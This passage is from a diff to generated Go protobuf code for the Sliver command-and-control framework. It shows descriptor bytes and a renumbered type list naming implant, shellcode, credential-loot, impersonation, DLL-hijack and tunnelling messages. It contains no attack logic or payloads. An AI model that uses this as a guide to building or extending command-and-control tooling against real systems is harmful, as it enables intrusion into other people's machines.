0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, + 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, + 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, + 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, + 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, + 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, + 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, + 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, + 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -669,551 +681,561 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq (*sliverpb.ReconfigureReq)(nil), // 3: sliverpb.ReconfigureReq (*clientpb.RenameReq)(nil), // 4: clientpb.RenameReq - (*clientpb.Beacon)(nil), // 5: clientpb.Beacon - (*clientpb.BeaconTask)(nil), // 6: clientpb.BeaconTask - (*clientpb.KillJobReq)(nil), // 7: clientpb.KillJobReq - (*clientpb.MTLSListenerReq)(nil), // 8: clientpb.MTLSListenerReq - (*clientpb.WGListenerReq)(nil), // 9: clientpb.WGListenerReq - (*clientpb.DNSListenerReq)(nil), // 10: clientpb.DNSListenerReq - (*clientpb.HTTPListenerReq)(nil), // 11: clientpb.HTTPListenerReq - (*clientpb.StagerListenerReq)(nil), // 12: clientpb.StagerListenerReq - (*clientpb.Loot)(nil), // 13: clientpb.Loot - (*clientpb.Credentials)(nil), // 14: clientpb.Credentials - (*clientpb.Credential)(nil), // 15: clientpb.Credential - (*clientpb.Host)(nil), // 16: clientpb.Host - (*clientpb.IOC)(nil), // 17: clientpb.IOC - (*clientpb.GenerateReq)(nil), // 18: clientpb.GenerateReq - (*clientpb.ExternalGenerateReq)(nil), // 19: clientpb.ExternalGenerateReq - (*clientpb.ExternalImplantBinary)(nil), // 20: clientpb.ExternalImplantBinary - (*clientpb.ImplantConfig)(nil), // 21: clientpb.ImplantConfig - (*clientpb.Builder)(nil), // 22: clientpb.Builder - (*clientpb.Event)(nil), // 23: clientpb.Event - (*clientpb.Crackstation)(nil), // 24: clientpb.Crackstation - (*clientpb.CrackBenchmark)(nil), // 25: clientpb.CrackBenchmark - (*clientpb.CrackTask)(nil), // 26: clientpb.CrackTask - (*clientpb.CrackFile)(nil), // 27: clientpb.CrackFile - (*clientpb.CrackFileChunk)(nil), // 28: clientpb.CrackFileChunk - (*clientpb.RegenerateReq)(nil), // 29: clientpb.RegenerateReq - (*clientpb.DeleteReq)(nil), // 30: clientpb.DeleteReq - (*clientpb.ImplantProfile)(nil), // 31: clientpb.ImplantProfile - (*clientpb.MsfStagerReq)(nil), // 32: clientpb.MsfStagerReq - (*clientpb.ShellcodeRDIReq)(nil), // 33: clientpb.ShellcodeRDIReq - (*clientpb.ShellcodeEncodeReq)(nil), // 34: clientpb.ShellcodeEncodeReq - (*clientpb.TrafficEncoder)(nil), // 35: clientpb.TrafficEncoder - (*clientpb.Website)(nil), // 36: clientpb.Website - (*clientpb.WebsiteAddContent)(nil), // 37: clientpb.WebsiteAddContent - (*clientpb.WebsiteRemoveContent)(nil), // 38: clientpb.WebsiteRemoveContent - (*sliverpb.Ping)(nil), // 39: sliverpb.Ping - (*sliverpb.PsReq)(nil), // 40: sliverpb.PsReq - (*sliverpb.TerminateReq)(nil), // 41: sliverpb.TerminateReq - (*sliverpb.IfconfigReq)(nil), // 42: sliverpb.IfconfigReq - (*sliverpb.NetstatReq)(nil), // 43: sliverpb.NetstatReq - (*sliverpb.LsReq)(nil), // 44: sliverpb.LsReq - (*sliverpb.CdReq)(nil), // 45: sliverpb.CdReq - (*sliverpb.PwdReq)(nil), // 46: sliverpb.PwdReq - (*sliverpb.MvReq)(nil), // 47: sliverpb.MvReq - (*sliverpb.CpReq)(nil), // 48: sliverpb.CpReq - (*sliverpb.RmReq)(nil), // 49: sliverpb.RmReq - (*sliverpb.MkdirReq)(nil), // 50: sliverpb.MkdirReq - (*sliverpb.DownloadReq)(nil), // 51: sliverpb.DownloadReq - (*sliverpb.UploadReq)(nil), // 52: sliverpb.UploadReq - (*sliverpb.ChmodReq)(nil), // 53: sliverpb.ChmodReq - (*sliverpb.ChownReq)(nil), // 54: sliverpb.ChownReq - (*sliverpb.ChtimesReq)(nil), // 55: sliverpb.ChtimesReq - (*sliverpb.MemfilesListReq)(nil), // 56: sliverpb.MemfilesListReq - (*sliverpb.MemfilesAddReq)(nil), // 57: sliverpb.MemfilesAddReq - (*sliverpb.MemfilesRmReq)(nil), // 58: sliverpb.MemfilesRmReq - (*sliverpb.ProcessDumpReq)(nil), // 59: sliverpb.ProcessDumpReq - (*sliverpb.RunAsReq)(nil), // 60: sliverpb.RunAsReq - (*sliverpb.ImpersonateReq)(nil), // 61: sliverpb.ImpersonateReq - (*sliverpb.RevToSelfReq)(nil), // 62: sliverpb.RevToSelfReq - (*clientpb.GetSystemReq)(nil), // 63: clientpb.GetSystemReq - (*sliverpb.TaskReq)(nil), // 64: sliverpb.TaskReq - (*clientpb.MSFReq)(nil), // 65: clientpb.MSFReq - (*clientpb.MSFRemoteReq)(nil), // 66: clientpb.MSFRemoteReq - (*sliverpb.ExecuteAssemblyReq)(nil), // 67: sliverpb.ExecuteAssemblyReq - (*clientpb.MigrateReq)(nil), // 68: clientpb.MigrateReq - (*sliverpb.ExecuteReq)(nil), // 69: sliverpb.ExecuteReq - (*sliverpb.ExecuteWindowsReq)(nil), // 70: sliverpb.ExecuteWindowsReq - (*sliverpb.SideloadReq)(nil), // 71: sliverpb.SideloadReq - (*sliverpb.InvokeSpawnDllReq)(nil), // 72: sliverpb.InvokeSpawnDllReq - (*sliverpb.ScreenshotReq)(nil), // 73: sliverpb.ScreenshotReq - (*sliverpb.CurrentTokenOwnerReq)(nil), // 74: sliverpb.CurrentTokenOwnerReq - (*sliverpb.PivotStartListenerReq)(nil), // 75: sliverpb.PivotStartListenerReq - (*sliverpb.PivotStopListenerReq)(nil), // 76: sliverpb.PivotStopListenerReq - (*sliverpb.PivotListenersReq)(nil), // 77: sliverpb.PivotListenersReq - (*sliverpb.StartServiceReq)(nil), // 78: sliverpb.StartServiceReq - (*sliverpb.StopServiceReq)(nil), // 79: sliverpb.StopServiceReq - (*sliverpb.RemoveServiceReq)(nil), // 80: sliverpb.RemoveServiceReq - (*sliverpb.MakeTokenReq)(nil), // 81: sliverpb.MakeTokenReq - (*sliverpb.EnvReq)(nil), // 82: sliverpb.EnvReq - (*sliverpb.SetEnvReq)(nil), // 83: sliverpb.SetEnvReq - (*sliverpb.UnsetEnvReq)(nil), // 84: sliverpb.UnsetEnvReq - (*clientpb.BackdoorReq)(nil), // 85: clientpb.BackdoorReq - (*sliverpb.RegistryReadReq)(nil), // 86: sliverpb.RegistryReadReq - (*sliverpb.RegistryWriteReq)(nil), // 87: sliverpb.RegistryWriteReq - (*sliverpb.RegistryCreateKeyReq)(nil), // 88: sliverpb.RegistryCreateKeyReq - (*sliverpb.RegistryDeleteKeyReq)(nil), // 89: sliverpb.RegistryDeleteKeyReq - (*sliverpb.RegistrySubKeyListReq)(nil), // 90: sliverpb.RegistrySubKeyListReq - (*sliverpb.RegistryListValuesReq)(nil), // 91: sliverpb.RegistryListValuesReq - (*sliverpb.SSHCommandReq)(nil), // 92: sliverpb.SSHCommandReq - (*clientpb.DllHijackReq)(nil), // 93: clientpb.DllHijackReq - (*sliverpb.GetPrivsReq)(nil), // 94: sliverpb.GetPrivsReq - (*sliverpb.RportFwdStartListenerReq)(nil), // 95: sliverpb.RportFwdStartListenerReq - (*sliverpb.RportFwdListenersReq)(nil), // 96: sliverpb.RportFwdListenersReq - (*sliverpb.RportFwdStopListenerReq)(nil), // 97: sliverpb.RportFwdStopListenerReq - (*sliverpb.OpenSession)(nil), // 98: sliverpb.OpenSession - (*sliverpb.CloseSession)(nil), // 99: sliverpb.CloseSession - (*sliverpb.RegisterExtensionReq)(nil), // 100: sliverpb.RegisterExtensionReq - (*sliverpb.CallExtensionReq)(nil), // 101: sliverpb.CallExtensionReq - (*sliverpb.ListExtensionsReq)(nil), // 102: sliverpb.ListExtensionsReq - (*sliverpb.RegisterWasmExtensionReq)(nil), // 103: sliverpb.RegisterWasmExtensionReq - (*sliverpb.ListWasmExtensionsReq)(nil), // 104: sliverpb.ListWasmExtensionsReq - (*sliverpb.ExecWasmExtensionReq)(nil), // 105: sliverpb.ExecWasmExtensionReq - (*sliverpb.WGPortForwardStartReq)(nil), // 106: sliverpb.WGPortForwardStartReq - (*sliverpb.WGPortForwardStopReq)(nil), // 107: sliverpb.WGPortForwardStopReq - (*sliverpb.WGSocksStartReq)(nil), // 108: sliverpb.WGSocksStartReq - (*sliverpb.WGSocksStopReq)(nil), // 109: sliverpb.WGSocksStopReq - (*sliverpb.WGTCPForwardersReq)(nil), // 110: sliverpb.WGTCPForwardersReq - (*sliverpb.WGSocksServersReq)(nil), // 111: sliverpb.WGSocksServersReq - (*sliverpb.ShellReq)(nil), // 112: sliverpb.ShellReq - (*sliverpb.PortfwdReq)(nil), // 113: sliverpb.PortfwdReq - (*sliverpb.Socks)(nil), // 114: sliverpb.Socks - (*sliverpb.SocksData)(nil), // 115: sliverpb.SocksData - (*sliverpb.Tunnel)(nil), // 116: sliverpb.Tunnel - (*sliverpb.TunnelData)(nil), // 117: sliverpb.TunnelData - (*clientpb.Version)(nil), // 118: clientpb.Version - (*clientpb.Operators)(nil), // 119: clientpb.Operators - (*sliverpb.Reconfigure)(nil), // 120: sliverpb.Reconfigure - (*clientpb.Sessions)(nil), // 121: clientpb.Sessions - (*clientpb.Beacons)(nil), // 122: clientpb.Beacons - (*clientpb.BeaconTasks)(nil), // 123: clientpb.BeaconTasks - (*commonpb.Response)(nil), // 124: commonpb.Response - (*clientpb.Jobs)(nil), // 125: clientpb.Jobs - (*clientpb.KillJob)(nil), // 126: clientpb.KillJob - (*clientpb.MTLSListener)(nil), // 127: clientpb.MTLSListener - (*clientpb.WGListener)(nil), // 128: clientpb.WGListener - (*clientpb.DNSListener)(nil), // 129: clientpb.DNSListener - (*clientpb.HTTPListener)(nil), // 130: clientpb.HTTPListener - (*clientpb.StagerListener)(nil), // 131: clientpb.StagerListener - (*clientpb.AllLoot)(nil), // 132: clientpb.AllLoot - (*clientpb.AllHosts)(nil), // 133: clientpb.AllHosts - (*clientpb.Generate)(nil), // 134: clientpb.Generate - (*clientpb.ExternalImplantConfig)(nil), // 135: clientpb.ExternalImplantConfig - (*clientpb.Builders)(nil), // 136: clientpb.Builders - (*clientpb.Crackstations)(nil), // 137: clientpb.Crackstations - (*clientpb.CrackFiles)(nil), // 138: clientpb.CrackFiles - (*clientpb.ImplantBuilds)(nil), // 139: clientpb.ImplantBuilds - (*clientpb.Canaries)(nil), // 140: clientpb.Canaries - (*clientpb.WGClientConfig)(nil), // 141: clientpb.WGClientConfig - (*clientpb.UniqueWGIP)(nil), // 142: clientpb.UniqueWGIP - (*clientpb.ImplantProfiles)(nil), // 143: clientpb.ImplantProfiles - (*clientpb.MsfStager)(nil), // 144: clientpb.MsfStager - (*clientpb.ShellcodeRDI)(nil), // 145: clientpb.ShellcodeRDI - (*clientpb.Compiler)(nil), // 146: clientpb.Compiler - (*clientpb.ShellcodeEncode)(nil), // 147: clientpb.ShellcodeEncode - (*clientpb.ShellcodeEncoderMap)(nil), // 148: clientpb.ShellcodeEncoderMap - (*clientpb.TrafficEncoderMap)(nil), // 149: clientpb.TrafficEncoderMap - (*clientpb.TrafficEncoderTests)(nil), // 150: clientpb.TrafficEncoderTests - (*clientpb.Websites)(nil), // 151: clientpb.Websites - (*sliverpb.Ps)(nil), // 152: sliverpb.Ps - (*sliverpb.Terminate)(nil), // 153: sliverpb.Terminate - (*sliverpb.Ifconfig)(nil), // 154: sliverpb.Ifconfig - (*sliverpb.Netstat)(nil), // 155: sliverpb.Netstat - (*sliverpb.Ls)(nil), // 156: sliverpb.Ls - (*sliverpb.Pwd)(nil), // 157: sliverpb.Pwd - (*sliverpb.Mv)(nil), // 158: sliverpb.Mv - (*sliverpb.Cp)(nil), // 159: sliverpb.Cp - (*sliverpb.Rm)(nil), // 160: sliverpb.Rm - (*sliverpb.Mkdir)(nil), // 161: sliverpb.Mkdir - (*sliverpb.Download)(nil), // 162: sliverpb.Download - (*sliverpb.Upload)(nil), // 163: sliverpb.Upload - (*sliverpb.Chmod)(nil), // 164: sliverpb.Chmod - (*sliverpb.Chown)(nil), // 165: sliverpb.Chown - (*sliverpb.Chtimes)(nil), // 166: sliverpb.Chtimes - (*sliverpb.MemfilesAdd)(nil), // 167: sliverpb.MemfilesAdd - (*sliverpb.MemfilesRm)(nil), // 168: sliverpb.MemfilesRm - (*sliverpb.ProcessDump)(nil), // 169: sliverpb.ProcessDump - (*sliverpb.RunAs)(nil), // 170: sliverpb.RunAs - (*sliverpb.Impersonate)(nil), // 171: sliverpb.Impersonate - (*sliverpb.RevToSelf)(nil), // 172: sliverpb.RevToSelf - (*sliverpb.GetSystem)(nil), // 173: sliverpb.GetSystem - (*sliverpb.Task)(nil), // 174: sliverpb.Task - (*sliverpb.ExecuteAssembly)(nil), // 175: sliverpb.ExecuteAssembly - (*sliverpb.Migrate)(nil), // 176: sliverpb.Migrate - (*sliverpb.Execute)(nil), // 177: sliverpb.Execute - (*sliverpb.Sideload)(nil), // 178: sliverpb.Sideload - (*sliverpb.SpawnDll)(nil), // 179: sliverpb.SpawnDll - (*sliverpb.Screenshot)(nil), // 180: sliverpb.Screenshot - (*sliverpb.CurrentTokenOwner)(nil), // 181: sliverpb.CurrentTokenOwner - (*sliverpb.PivotListener)(nil), // 182: sliverpb.PivotListener - (*sliverpb.PivotListeners)(nil), // 183: sliverpb.PivotListeners - (*clientpb.PivotGraph)(nil), // 184: clientpb.PivotGraph - (*sliverpb.ServiceInfo)(nil), // 185: sliverpb.ServiceInfo - (*sliverpb.MakeToken)(nil), // 186: sliverpb.MakeToken - (*sliverpb.EnvInfo)(nil), // 187: sliverpb.EnvInfo - (*sliverpb.SetEnv)(nil), // 188: sliverpb.SetEnv - (*sliverpb.UnsetEnv)(nil), // 189: sliverpb.UnsetEnv - (*clientpb.Backdoor)(nil), // 190: clientpb.Backdoor - (*sliverpb.RegistryRead)(nil), // 191: sliverpb.RegistryRead - (*sliverpb.RegistryWrite)(nil), // 192: sliverpb.RegistryWrite - (*sliverpb.RegistryCreateKey)(nil), // 193: sliverpb.RegistryCreateKey - (*sliverpb.RegistryDeleteKey)(nil), // 194: sliverpb.RegistryDeleteKey - (*sliverpb.RegistrySubKeyList)(nil), // 195: sliverpb.RegistrySubKeyList - (*sliverpb.RegistryValuesList)(nil), // 196: sliverpb.RegistryValuesList - (*sliverpb.SSHCommand)(nil), // 197: sliverpb.SSHCommand - (*clientpb.DllHijack)(nil), // 198: clientpb.DllHijack - (*sliverpb.GetPrivs)(nil), // 199: sliverpb.GetPrivs - (*sliverpb.RportFwdListener)(nil), // 200: sliverpb.RportFwdListener - (*sliverpb.RportFwdListeners)(nil), // 201: sliverpb.RportFwdListeners - (*sliverpb.RegisterExtension)(nil), // 202: sliverpb.RegisterExtension - (*sliverpb.CallExtension)(nil), // 203: sliverpb.CallExtension - (*sliverpb.ListExtensions)(nil), // 204: sliverpb.ListExtensions - (*sliverpb.RegisterWasmExtension)(nil), // 205: sliverpb.RegisterWasmExtension - (*sliverpb.ListWasmExtensions)(nil), // 206: sliverpb.ListWasmExtensions - (*sliverpb.ExecWasmExtension)(nil), // 207: sliverpb.ExecWasmExtension - (*sliverpb.WGPortForward)(nil), // 208: sliverpb.WGPortForward - (*sliverpb.WGSocks)(nil), // 209: sliverpb.WGSocks - (*sliverpb.WGTCPForwarders)(nil), // 210: sliverpb.WGTCPForwarders - (*sliverpb.WGSocksServers)(nil), // 211: sliverpb.WGSocksServers - (*sliverpb.Shell)(nil), // 212: sliverpb.Shell - (*sliverpb.Portfwd)(nil), // 213: sliverpb.Portfwd + (*clientpb.ImplantCommand)(nil), // 5: clientpb.ImplantCommand + (*clientpb.HistoryRequest)(nil), // 6: clientpb.HistoryRequest + (*clientpb.Beacon)(nil), // 7: clientpb.Beacon + (*clientpb.BeaconTask)(nil), // 8: clientpb.BeaconTask + (*clientpb.KillJobReq)(nil), // 9: clientpb.KillJobReq + (*clientpb.MTLSListenerReq)(nil), // 10: clientpb.MTLSListenerReq + (*clientpb.WGListenerReq)(nil), // 11: clientpb.WGListenerReq + (*clientpb.DNSListenerReq)(nil), // 12: clientpb.DNSListenerReq + (*clientpb.HTTPListenerReq)(nil), // 13: clientpb.HTTPListenerReq + (*clientpb.StagerListenerReq)(nil), // 14: clientpb.StagerListenerReq + (*clientpb.Loot)(nil), // 15: clientpb.Loot + (*clientpb.Credentials)(nil), // 16: clientpb.Credentials + (*clientpb.Credential)(nil), // 17: clientpb.Credential + (*clientpb.Host)(nil), // 18: clientpb.Host + (*clientpb.IOC)(nil), // 19: clientpb.IOC + (*clientpb.GenerateReq)(nil), // 20: clientpb.GenerateReq + (*clientpb.ExternalGenerateReq)(nil), // 21: clientpb.ExternalGenerateReq + (*clientpb.ExternalImplantBinary)(nil), // 22: clientpb.ExternalImplantBinary + (*clientpb.ImplantConfig)(nil), // 23: clientpb.ImplantConfig + (*clientpb.Builder)(nil), // 24: clientpb.Builder + (*clientpb.Event)(nil), // 25: clientpb.Event + (*clientpb.Crackstation)(nil), // 26: clientpb.Crackstation + (*clientpb.CrackBenchmark)(nil), // 27: clientpb.CrackBenchmark + (*clientpb.CrackTask)(nil), // 28: clientpb.CrackTask + (*clientpb.CrackFile)(nil), // 29: clientpb.CrackFile + (*clientpb.CrackFileChunk)(nil), // 30: clientpb.CrackFileChunk + (*clientpb.RegenerateReq)(nil), // 31: clientpb.RegenerateReq + (*clientpb.DeleteReq)(nil), // 32: clientpb.DeleteReq + (*clientpb.ImplantProfile)(nil), // 33: clientpb.ImplantProfile + (*clientpb.MsfStagerReq)(nil), // 34: clientpb.MsfStagerReq + (*clientpb.ShellcodeRDIReq)(nil), // 35: clientpb.ShellcodeRDIReq + (*clientpb.ShellcodeEncodeReq)(nil), // 36: clientpb.ShellcodeEncodeReq + (*clientpb.TrafficEncoder)(nil), // 37: clientpb.TrafficEncoder + (*clientpb.Website)(nil), // 38: clientpb.Website + (*clientpb.WebsiteAddContent)(nil), // 39: clientpb.WebsiteAddContent + (*clientpb.WebsiteRemoveContent)(nil), // 40: clientpb.WebsiteRemoveContent + (*sliverpb.Ping)(nil), // 41: sliverpb.Ping + (*sliverpb.PsReq)(nil), // 42: sliverpb.PsReq + (*sliverpb.TerminateReq)(nil), // 43: sliverpb.TerminateReq + (*sliverpb.IfconfigReq)(nil), // 44: sliverpb.IfconfigReq + (*sliverpb.NetstatReq)(nil), // 45: sliverpb.NetstatReq + (*sliverpb.LsReq)(nil), // 46: sliverpb.LsReq + (*sliverpb.CdReq)(nil), // 47: sliverpb.CdReq + (*sliverpb.PwdReq)(nil), // 48: sliverpb.PwdReq + (*sliverpb.MvReq)(nil), // 49: sliverpb.MvReq + (*sliverpb.CpReq)(nil), // 50: sliverpb.CpReq + (*sliverpb.RmReq)(nil), // 51: sliverpb.RmReq + (*sliverpb.MkdirReq)(nil), // 52: sliverpb.MkdirReq + (*sliverpb.DownloadReq)(nil), // 53: sliverpb.DownloadReq + (*sliverpb.UploadReq)(nil), // 54: sliverpb.UploadReq + (*sliverpb.ChmodReq)(nil), // 55: sliverpb.ChmodReq + (*sliverpb.ChownReq)(nil), // 56: sliverpb.ChownReq + (*sliverpb.ChtimesReq)(nil), // 57: sliverpb.ChtimesReq + (*sliverpb.MemfilesListReq)(nil), // 58: sliverpb.MemfilesListReq + (*sliverpb.MemfilesAddReq)(nil), // 59: sliverpb.MemfilesAddReq + (*sliverpb.MemfilesRmReq)(nil), // 60: sliverpb.MemfilesRmReq + (*sliverpb.ProcessDumpReq)(nil), // 61: sliverpb.ProcessDumpReq + (*sliverpb.RunAsReq)(nil), // 62: sliverpb.RunAsReq + (*sliverpb.ImpersonateReq)(nil), // 63: sliverpb.ImpersonateReq + (*sliverpb.RevToSelfReq)(nil), // 64: sliverpb.RevToSelfReq + (*clientpb.GetSystemReq)(nil), // 65: clientpb.GetSystemReq + (*sliverpb.TaskReq)(nil), // 66: sliverpb.TaskReq + (*clientpb.MSFReq)(nil), // 67: clientpb.MSFReq + (*clientpb.MSFRemoteReq)(nil), // 68: clientpb.MSFRemoteReq + (*sliverpb.ExecuteAssemblyReq)(nil), // 69: sliverpb.ExecuteAssemblyReq + (*clientpb.MigrateReq)(nil), // 70: clientpb.MigrateReq + (*sliverpb.ExecuteReq)(nil), // 71: sliverpb.ExecuteReq + (*sliverpb.ExecuteWindowsReq)(nil), // 72: sliverpb.ExecuteWindowsReq + (*sliverpb.SideloadReq)(nil), // 73: sliverpb.SideloadReq + (*sliverpb.InvokeSpawnDllReq)(nil), // 74: sliverpb.InvokeSpawnDllReq + (*sliverpb.ScreenshotReq)(nil), // 75: sliverpb.ScreenshotReq + (*sliverpb.CurrentTokenOwnerReq)(nil), // 76: sliverpb.CurrentTokenOwnerReq + (*sliverpb.PivotStartListenerReq)(nil), // 77: sliverpb.PivotStartListenerReq + (*sliverpb.PivotStopListenerReq)(nil), // 78: sliverpb.PivotStopListenerReq + (*sliverpb.PivotListenersReq)(nil), // 79: sliverpb.PivotListenersReq + (*sliverpb.StartServiceReq)(nil), // 80: sliverpb.StartServiceReq + (*sliverpb.StopServiceReq)(nil), // 81: sliverpb.StopServiceReq + (*sliverpb.RemoveServiceReq)(nil), // 82: sliverpb.RemoveServiceReq + (*sliverpb.MakeTokenReq)(nil), // 83: sliverpb.MakeTokenReq + (*sliverpb.EnvReq)(nil), // 84: sliverpb.EnvReq + (*sliverpb.SetEnvReq)(nil), // 85: sliverpb.SetEnvReq + (*sliverpb.UnsetEnvReq)(nil), // 86: sliverpb.UnsetEnvReq + (*clientpb.BackdoorReq)(nil), // 87: clientpb.BackdoorReq + (*sliverpb.RegistryReadReq)(nil), // 88: sliverpb.RegistryReadReq + (*sliverpb.RegistryWriteReq)(nil), // 89: sliverpb.RegistryWriteReq + (*sliverpb.RegistryCreateKeyReq)(nil), // 90: sliverpb.RegistryCreateKeyReq + (*sliverpb.RegistryDeleteKeyReq)(nil), // 91: sliverpb.RegistryDeleteKeyReq + (*sliverpb.RegistrySubKeyListReq)(nil), // 92: sliverpb.RegistrySubKeyListReq + (*sliverpb.RegistryListValuesReq)(nil), // 93: sliverpb.RegistryListValuesReq + (*sliverpb.SSHCommandReq)(nil), // 94: sliverpb.SSHCommandReq + (*clientpb.DllHijackReq)(nil), // 95: clientpb.DllHijackReq + (*sliverpb.GetPrivsReq)(nil), // 96: sliverpb.GetPrivsReq + (*sliverpb.RportFwdStartListenerReq)(nil), // 97: sliverpb.RportFwdStartListenerReq + (*sliverpb.RportFwdListenersReq)(nil), // 98: sliverpb.RportFwdListenersReq + (*sliverpb.RportFwdStopListenerReq)(nil), // 99: sliverpb.RportFwdStopListenerReq + (*sliverpb.OpenSession)(nil), // 100: sliverpb.OpenSession + (*sliverpb.CloseSession)(nil), // 101: sliverpb.CloseSession + (*sliverpb.RegisterExtensionReq)(nil), // 102: sliverpb.RegisterExtensionReq + (*sliverpb.CallExtensionReq)(nil), // 103: sliverpb.CallExtensionReq + (*sliverpb.ListExtensionsReq)(nil), // 104: sliverpb.ListExtensionsReq + (*sliverpb.RegisterWasmExtensionReq)(nil), // 105: sliverpb.RegisterWasmExtensionReq + (*sliverpb.ListWasmExtensionsReq)(nil), // 106: sliverpb.ListWasmExtensionsReq + (*sliverpb.ExecWasmExtensionReq)(nil), // 107: sliverpb.ExecWasmExtensionReq + (*sliverpb.WGPortForwardStartReq)(nil), // 108: sliverpb.WGPortForwardStartReq + (*sliverpb.WGPortForwardStopReq)(nil), // 109: sliverpb.WGPortForwardStopReq + (*sliverpb.WGSocksStartReq)(nil), // 110: sliverpb.WGSocksStartReq + (*sliverpb.WGSocksStopReq)(nil), // 111: sliverpb.WGSocksStopReq + (*sliverpb.WGTCPForwardersReq)(nil), // 112: sliverpb.WGTCPForwardersReq + (*sliverpb.WGSocksServersReq)(nil), // 113: sliverpb.WGSocksServersReq + (*sliverpb.ShellReq)(nil), // 114: sliverpb.ShellReq + (*sliverpb.PortfwdReq)(nil), // 115: sliverpb.PortfwdReq + (*sliverpb.Socks)(nil), // 116: sliverpb.Socks + (*sliverpb.SocksData)(nil), // 117: sliverpb.SocksData + (*sliverpb.Tunnel)(nil), // 118: sliverpb.Tunnel + (*sliverpb.TunnelData)(nil), // 119: sliverpb.TunnelData + (*clientpb.Version)(nil), // 120: clientpb.Version + 